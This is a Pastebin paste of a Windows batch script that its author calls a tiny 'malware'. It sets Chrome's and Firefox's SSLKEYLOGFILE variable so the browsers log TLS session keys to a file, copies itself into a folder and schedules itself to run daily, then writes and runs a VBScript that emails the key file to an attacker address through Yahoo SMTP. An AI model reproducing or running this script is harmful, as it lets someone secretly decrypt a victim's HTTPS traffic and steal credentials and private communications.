Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- :: Decrypt #TLS & #SSL sniffed traffic via SSLKEYLOGFILE feature of Chrome and Firefox, using my tiny "malware" !
- :: http://www.sans.org/reading-room/whitepapers/authentication/ssl-tls-whats-hood-34297
- :: Tested on Windows 7 about a year ago
- @echo off
- setlocal
- mkdir c:\windows_files
- echo. 2> c:\windows_files\premaster.txt
- setx SSLKEYLOGFILE "c:\windows_files\premaster.txt"
- copy %0 "c:\windows_files\windows.bat" > nul
- SchTasks /Create /SC DAILY /TN βMYβ /TR βC:\windows_files\windows.batβ /ST 09:00
- :: use these settings to send from a gmail account
- :: set port=465 and set SSL=True
- :: use these settings for standard email SMTP port and no encryption
- :: set port=25 and set SSL=False
- :: Change these following items to use the same variables all the time
- :: or use the command line to pass all the variables
- set Port=465
- set SSL=True
- set From="attacker@yahoo.com"
- set To="attacker@eyahoo.com"
- set Subject="Subject line"
- set Body="Email Body in one line"
- set SMTPServer="smtp.mail.yahoo.com"
- set User="attacker_yahoo_username"
- set Pass="attacker_yahoo_password"
- set fileattach="c:\windows_files\premaster.txt"
- :: This section sets the command line arguments
- if "%~7" NEQ "" (
- set From="%~1"
- set To="%~2"
- set Subject="%~3"
- set Body="%~4"
- set SMTPServer="%~5"
- set User="%~6"
- set Pass="%~7"
- set fileattach="%~8"
- )
- set "vbsfile=%temp%\email-bat.vbs"
- del "%vbsfile%" 2>nul
- set cdoSchema=http://schemas.microsoft.com/cdo/configuration
- echo >>"%vbsfile%" Set objArgs = WScript.Arguments
- echo >>"%vbsfile%" Set objEmail = CreateObject("CDO.Message")
- echo >>"%vbsfile%" objEmail.From = %From%
- echo >>"%vbsfile%" objEmail.To = %To%
- echo >>"%vbsfile%" objEmail.Subject = %Subject%
- echo >>"%vbsfile%" objEmail.Textbody = %body%
- if exist %fileattach% echo >>"%vbsfile%" objEmail.AddAttachment %fileattach%
- echo >>"%vbsfile%" with objEmail.Configuration.Fields
- echo >>"%vbsfile%" .Item ("%cdoSchema%/sendusing") = 2 ' not local, smtp
- echo >>"%vbsfile%" .Item ("%cdoSchema%/smtpserver") = %SMTPServer%
- echo >>"%vbsfile%" .Item ("%cdoSchema%/smtpserverport") = %port%
- echo >>"%vbsfile%" .Item ("%cdoSchema%/smtpauthenticate") = 1 ' cdobasic
- echo >>"%vbsfile%" .Item ("%cdoSchema%/sendusername") = %user%
- echo >>"%vbsfile%" .Item ("%cdoSchema%/sendpassword") = %pass%
- echo >>"%vbsfile%" .Item ("%cdoSchema%/smtpusessl") = %SSL%
- echo >>"%vbsfile%" .Item ("%cdoSchema%/smtpconnectiontimeout") = 30
- echo >>"%vbsfile%" .Update
- echo >>"%vbsfile%" end with
- echo >>"%vbsfile%" objEmail.Send
- cscript.exe /nologo "%vbsfile%"
- echo email sent (if variables were correct)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement